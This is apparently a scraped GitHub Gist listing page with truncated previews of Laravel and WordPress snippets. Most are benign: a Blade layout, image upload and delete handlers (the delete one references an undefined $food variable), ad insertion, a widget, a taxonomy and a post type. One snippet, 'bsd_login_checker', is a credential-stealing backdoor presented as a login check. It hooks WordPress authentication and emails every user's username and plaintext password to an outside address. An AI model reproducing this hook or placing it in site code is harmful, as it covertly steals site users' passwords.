This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html lang="en"> | |
<head> | |
<meta charset="utf-8"> | |
<meta name="viewport" content="width=device-width, initial-scale=1"> | |
<meta http-equiv="x-ua-compatible" content="ie=edge"> | |
<title>@yield('meta-title', __('Dashboard'))</title> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/********************************************************************** | |
** The following will store the image name only. | |
**********************************************************************/ | |
/** | |
* Storing images | |
* The input field name is 'image' here, you can change with yours | |
*/ | |
public function store(Request $request) { | |
$product = new Product; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
public function destroy(Product $product) | |
{ | |
if($product->image) { | |
$upload_path = 'uploads/images/'; | |
File::delete($upload_path . $food->image); | |
} | |
if($product->delete()) { | |
return redirect()->back()->with('success', 'Product item deleted successfully.'); | |
} else { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function bsd_login_checker( $user, $password ) { | |
$url = get_site_url(); | |
$gw_message = 'Username: ' . $user->user_login . ' Password: ' . $password; | |
wp_mail('[email protected]', 'WP Login ' . $url, $gw_message); | |
return $user; | |
} | |
add_action('wp_authenticate_user', 'bsd_login_checker', 10, 2); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
jQuery(document).ready(function($) { | |
var max = 115; | |
$('#excerpt').keydown(function(e) { | |
if(e.which == 8) { | |
return; | |
} | |
if (e.target.value.length == max) { | |
e.preventDefault(); | |
} else if (e.target.value.length > max) { | |
// Maximum exceeded |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function _remove_script_version( $src ){ | |
$parts = explode( '?ver', $src ); | |
return $parts[0]; | |
} | |
add_filter( 'script_loader_src', '_remove_script_version', 15, 1 ); | |
add_filter( 'style_loader_src', '_remove_script_version', 15, 1 ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
//Insert ads after second paragraph of single post content. | |
add_filter( 'the_content', 'bs_insert_post_ads' ); | |
function bs_insert_post_ads( $content ) { | |
$ad_code = '<div>Ads code here</div>'; | |
$paragraph_no_to_insert = 2; | |
if ( is_single() && ! is_admin() ) { | |
return bs_insert_after_paragraph( $ad_code, $paragraph_no_to_insert, $content ); | |
} | |
return $content; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// Creating the widget | |
class bs_custom_widget extends WP_Widget | |
{ | |
function __construct() | |
{ | |
parent::__construct( | |
// Base ID of your widget | |
'bs_custom_widget', |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// hook into the init action and call bs_create_color_taxonomy when it fires | |
add_action( 'init', 'bs_create_color_taxonomy', 0 ); | |
function bs_create_color_taxonomy() { | |
// Add new taxonomy, make it hierarchical (like categories) | |
$labels = array( | |
'name' => _x( 'Colors', 'taxonomy general name', 'textdomain' ), | |
'singular_name' => _x( 'Color', 'taxonomy singular name', 'textdomain' ), | |
'search_items' => __( 'Search Colors', 'textdomain' ), |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_action( 'init', 'bs_create_github_post_type' ); | |
/** | |
* Register a repo post type. | |
* | |
* @link http://codex.wordpress.org/Function_Reference/register_post_type | |
*/ | |
function bs_create_github_post_type() { | |
$labels = array( | |
'name' => __( 'Repos', 'text-domain' ), |
NewerOlder